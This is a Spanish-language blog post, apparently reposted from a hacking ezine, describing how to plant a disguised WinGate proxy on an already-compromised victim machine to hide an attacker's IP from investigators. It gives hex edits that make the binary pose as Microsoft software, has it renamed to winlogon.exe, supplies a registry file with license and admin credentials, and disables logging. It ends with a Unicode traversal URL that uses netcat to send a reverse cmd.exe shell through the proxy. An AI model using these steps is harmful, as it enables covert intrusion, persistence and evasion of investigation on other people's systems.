lunes, octubre 15, 2012

Instalando un proxy

Introducción
Según Daniel A. Morris que es un Assistant United States Attorney (AUSA) in the District of Nebraska y es el Computer and Telecommunications Coordinator (CTC), el principal obstáculo para identificar a un hacker que ha hecho desmadre en alguna red es:
“A hacker might hide or "spoof" his Internet Protocol (IP) address, or might intentionally bounce his communications through many intermediate computers scattered throughout the world before arriving at a target computer. The investigator must then identify all the bounce points to find the location of the hacker, but usually can only trace the hacker back one bounce point at a time. Subpoenas and court orders to each bounce point may be necessary to identify the hacker” (Texto tomado del sitio del FBI).
En pocas palabras: que antes de llegar a su objetivo final un hacker ‘rebota’ las instrucciones (su señal) en algunas computadoras, de tal manera, que cuando llega a su objetivo final, este, deja registrada la dirección IP de la ultima computadora que rebotó la señal.


En el mejor de los casos después de una intrucción en “Objetivo” las direcciones IP que quedan en los logs son nulas ya que pudimos borrarlas, y en el peor de los casos quedarán registradas las direcciones IP de “Servidor D”; para realizar la investigación deben de auditar el equipo que fue afectado (“Objetivo”), de ahí se lanzan a buscar al culpable que arroje el análisis de los logs, el detalle aquí es que “Servidor D” que es el supuesto agresor esta en un lugar geográficamente distinto, en donde probablemente tengan que solicitar una orden a alguna autoridad de ese país para auditar ese equipo y ya que logren el permiso pues se darán cuenta de que ahí no hay evidencia para culpar al poseedor de ese equipo y verán que solo fue utilizado para rebotar la señal, para lo cual verán la forma de sacar la dirección IP que se colgó a ese equipo y rastrear el siguiente nodo, no sin antes configurar el equipo para que guarde de todo, hasta un puto ping, por eso cuando hagas algo verdaderamente malo pues no regreses y ya no uses ese proxy.
Espero que con esto te puedas dar una idea de lo importante que es usar una PC intermedia entre tu objetivo y tu PC, ya que esta puede ser la diferencia entre que te encuentren y te metan un susto y el que sigas como si nada por ahí.

¿Por qué existen los servidores proxy?
Creo que la principal causa es por cuestiones económicas, ya que poder tener una dirección IP (estática o dinámica) en internet tiene un precio y tener dos o mas pues incrementaría el precio, ahora imagínate a una micro empresa, a una PyME o a un SOHO en donde se cuenta con algunas PCs y con la necesidad de transferencia de archivo, consulta de información todo esto a través de internet, sacar a internet a cada una de esas PCs consumiría muchos recursos tanto económicos como materiales, y es ahí donde entran los servidores proxys, si una PC tiene salida a internet entonces ésta puede compartir su salida y permitir que otras PCs también tengan acceso a internet, de tal manera que se hace necesario un instrumento (hardware o software) que permita esta operación, de ahí la necesidad de los servidores proxy. Otro punto es que las direcciones IP son limitadas, algún día habrán tantas computadoras conectadas a internet que no habrán tantas direcciones y existiendo un servidor proxy pues este puede compartir su conexión y su dirección IP.
De los servicios mas importantes que se pueden rebotar son:
ftp (21)
telnet (23)
smtp (25)
http (80)
pop (110)
socks (1080)
Se que te preguntarás como esta esto del rebotado de la señal, pues es muy fácil, pero para no repetir la información lo que puedes hacer es ir al ezine3 y ver el artículo que ahí habla de proxys, y ahora que comience la diversión, antes que nada necesitaremos algunas cosas:
- Wingate 5.0.1. Baja la versión demo.
- Un editor hexadecimal. En lo particular uso el HexWorkShop.
- Una victima Win9x, ME, 2K, XP o NT ya previamente controlada para poder instalarle el servicio.
Lo primero que haremos es preparar el wingate.exe para instalarlo en la victima, para lo cual cedo la palabra a mi compañero DeadSector que se encargara de detallar todo el proceso.
Los siguientes datos fueron extraidos de una maquina de prueba.
version de wingate es 5.0.1 .
instalado en windows XP
Cuando ves las propiedades de wingate.exe veras los siguientes datos. Para modificar los datos agregue las direcciones hex entre parentesis al final de cada linea.
File Version: 5.0.1.766
Description: WinGate Engine (21f1c0 cambia a IndexingClient )
Copyright: Copyright © 1998-2000 Qbik Software NZ Ltd (21f26c cambia a
Copyright © 1998-2000 Microsoft Corp )
Company: Qbik Software NZ Ltd (21f16c cambia a Microsoft Corp . )
File Version: 5.0.1 [766] (21f200)
Internal Name: WinGate (21f238 cambia a IndexCL )
Languaje: English (United States)
Legal Trademarks: WinGate (21f2ec cambia a IndexCL )
Original File name: WinGate.exe (21f324 cambia a IndexCL )
Product Name: WinGate (21f380 cambia a IndexCL )
Product Version: 5.0.1 [766] (21f3b4)
el archivo wingate.exe acepta los siguientes parametros
-? o -help enseña la lista de parametros aceptados
-q o -query te da el status del servicio wingate. te dice si esta prendido
o apagado
-i o -install instala el servicio wingate
-s o -start arranca o prende el servicio wingate
-x o -stop apaga o detiene el servicio wingate
-r o -u o -uninstall desinstala el servicio wingate de la maquina
-force9x en NT corre wingate como un ejecutable normal y no como servicio
wingate.exe -i
cuando lo ejecutas con -i se agrega como servicio llamado "WingateEngine" (1fdd48 cambia a IndexCL )
en "windows event viewer" podras ver un mensaje que dice
Event Type: Information
Event Source: WinGateEngine (1fdd48)
Description: The WinGateEngine service was installed successfully. (21f454 cambia a The System is working Fine . Services OK )
el servicio instalado tiene los siguientes datos.
como "display name" dira "Qbik Wingate Engine" . (1e9cdc cambia a Indexing Client MS )
en "ImagePath" quedara grabado el directorio donde estaba el ejecutable.
el servicio arranca automaticamente cada que reinicia la maquina. La informacion la puedes encontrar en registro de windows .
[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\WinGateEngine]
cuando lo ejecutas con -u se borran esos datos de registro de windows .
en "windows event viewer" saldra
Event Type: Information
Event Source: WinGateEngine (1fdd48)
Description: The WinGateEngine service was removed successfully. (21f488 cambia a The System is working Fine .Services OK )
si por algun motivo no se pudo quitar el servicio el mensaje esta en
(21f4b8) y dice The WinGateEngine service was not removed successfully. (cambia a The System is working fine . Services OK)
wingate.exe -s
esto arranca el servicio. en "Windows Event Viewer" sale este mensaje
Event Type: Information
Event Source: WinGateEngine (1fdd48)
Description: The service has been started. (21f580 cambia a Everything is working fine)
al iniciar el servicio se agregan datos de configuracion a la siguiente
direccion de registro de windows.
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software]
en la carpeta donde se puso el ejecutable se crean automaticamente
directorios y archivos
dir logs (1f3bcc cambialo a nul )
dir Quarantine (2074ec cambialo a nul )
HISTORY.CDX
HISTORY.DBF (1f38c1) (si renombras este a nul ya no sale history.cdx cuando arranca wingate)
si tienes la licensia valida tambien genera esto
dir cache (1ef860cambialo a nul )
dir Mail (2072e0)
wingate -x
esto detiene el servicio. en "Windows Event Viewer" sale este mensaje
Event Type: Information
Event Source: WinGateEngine (1fdd48)
Description: The service has been stopped. (21f5a4 cambia a Everything is Working Fine )
para instalar lo basico en un server esto es lo que necesitas.
un arhivo reg para subir informacion al registro de windows y wingate.exe
en este caso renombrare wingate.exe a winlogon.exe para que no puedan apagar el servicio tan facilmente. los comandos serian estos.
rename wingate.exe winlogon.exe (se renombra a winlogon.exe)
winlogon.exe -i ( se instala el servicio )
regedit /s run.reg (se mete datos de licensia o configuracion a registro de windows )
winlogon.exe -s (wingate arranca y configura registro de windows con datos default)
winlogon.exe -x (wingate se apaga )
regedit /s run.reg (subimos de nuevo los datos de configuracion a registro de windows )
winlogon.exe -s (se prende el servicio y ya podemos entrar a configurarlo
remotamente con gatekeeper.exe)
ejemplo : RUN.REG
-------------------------------------------------------------------------REGEDIT4
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\License
Manager\Wingate\License0]
"Licensed"=dword:00000001
"raza"="40V5D6QNV7JQ0SCLVBWB70"
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\AutoUpdate]
"DefaultDays"=dword:00000000
"Popup"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\Services\DHCP Service]
"Startup"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\Services\DNS Service]
"Startup"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\Services\FTP Proxy
server]
"Startup"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\Services\GDP Service]
"Startup"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\Services\Logfile Server]
"Startup"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\Services\POP3 Proxy
server]
"Startup"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\Services\RTSP Streaming
Media Proxy]
"Startup"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\Services\SMTP Server]
"Startup"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\Services\Winsock
Redirector Service]
"Startup"=dword:00000000
80
www.raza-mexicana.org (ezine14)
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik Software\WinGate\Services\Remote Control
Service]
"Description"="Remote Control Service"
"LoggingEnabled"=dword:00000000
"LogOptions"=dword:00000000
"BindingOption"=dword:00000000
[HKEY_LOCAL_MACHINE\SOFTWARE\Qbik
Software\WinGate\UserDatabase\Administrator]
"Name"="Administrator"
"Password"="4DC131A62145AF8EE94AD0CE2447114AAADB51FC6D79411299700CE503F818683E083D0F70A0DCF6"
"POP3Password"="497E3EFDB9E02217A226D90A95BB8A4A656E466C33CFDC5192D128FF4C1C72C954760FDA2F4C3BF6"
"UserMustChangePassword"=dword:00000000
-------------------------------------------------------------------------
ahora entramos y damos de alta el servicio de proxy que deseamos. por
ejemplo web proxy
El significado normal de la palabra PROXY es alguien que hace algo a nombre algún otro, e.g. votación por proxy. El uso del Internet de la palabra tiene el mismo significado pero refiere a un programa del software. WinGate hace cosas a nombre de otros programas del software. Específicamente, WinGate hace peticiones del Internet a los servidores del Internet a nombre de clientes del Internet. Es importante recordar que WinGate hace el trabajo del PROXY, no GATEKEEPER. (traduccion de google de texto de help que viene con wingate)
ejecutas gatekeeper en tu maquina.
Username = Administrator (tiene que ser con A mayuscula)
Password = raza (todas minusculas)
use current windows logon NO debe estar seleccionado
Server = ip de maquina donde se instalo wingate
Port = 808
logon to local machine NO debe estar seleccionado
picas en OK eso te conectara a wingate y veras la pantalla principal.
de lado izquierdo sale pestaña de SYSTEM y del lado derecho ventana de
ACTIVITY
cambiate a ventana de SERVICES . (esta enseguida de system) estara en
blanco. das click con boton derecho y seleccionas opcion de NEW SERVICE --> WWW PROXY SERVICE donde dice "service port" ponemos el puerto que usaremos "3380" por ejemplo te vas a BINDINGS y seleccionas "Allow connections coming in on any interface" te vas a LOGGING y seleccionas "Do not log events for this service" picas "OK" y debe aparecer el servicio WWW PROXY SERVICE en puerto 3380
para configurar telnet proxy en SERVICES das click con boton derecho y seleccionas opcion de NEW SERVICE --> Telnet Proxy Service donde dice "service port" ponemos el puerto que usaremos "3323" por ejemplo te vas a BINDINGS y seleccionas "Allow connections coming in on any interface" si crees que 60 segundos de timeout es muy poco en SESSIONS cambia la opcion de timeouts le puedes subir el tiempo. el default es 60 segundos. puedes poner 600 o desabilitarlo completamente. luego te vas a LOGGING y seleccionas "Do not log events for this service" picas "OK" y debe aparecer el servicio TELNET PROXY SERVICE en puerto 3380
para configurar TCP Mapping service
en services das click con boton derecho y seleccionas opcion de NEW SERVICE --> TCP Mapping service donde dice "service port" ponemos el puerto que queremos usar para recibir conecciones "3381" por ejemplo seleccionas la opcion que dice "ENABLE DEFAULT MAPPING TO" y en server pones el ip del server a donde quieres mandar el servicio (192.168.1.2). en "ON PORT" el puerto a donde quieres mandar la peticion(8080). te vas a BINDINGS y seleccionas "Allow connections coming in on any interface" si crees que 60 segundos de timeout es muy poco en SESSIONS cambia la opcion
de timeouts le puedes subir el tiempo. el default es 60 segundos. puedes poner 600 o desabilitarlo completamente. luego te vas a LOGGING y seleccionas "Do not log events for this service" picas "OK" y debe aparecer el servicio "TCP MAPPING SERVICE" en puerto 3381
por ejemplo. 192.168.1.2 puerto 8080
cuando le hagas una coneccion al server al puerto 3381 lo redirecciona a
192.168.1.2 puerto 8080 .
esto te sirve si necesitas mandar una sesion de reverse telnet a tu maquina o usar bug de unicode en algun server y no quieres que tu ip real quede en logs. quedara grabado que se hiso la coneccion al server y tu ip no saldra en ningun log.
para unicode seria algo asi:
suponiendo que ya subiste nc.exe a server hackeado en tu maquina (192.168.1.2) corres nc.exe -l -p 8080 le mandas al server
http://nasa.gob.mx/scripts/..%255c..%255c/winnt/system32/cmd.exe?/c+nc.exe+wingateserver.com+3381+-e+cmd.exe
eso hace que nc se conecte de server hackeado a tu wingate a puerto 3381 y te manda sesion de cmd.exe . y wingate te redirecciona trafico a tu casa ip 192.168.1.2 en puerto 8080 donde tu nc.exe ya esta esperando.

No hay comentarios:

Publicar un comentario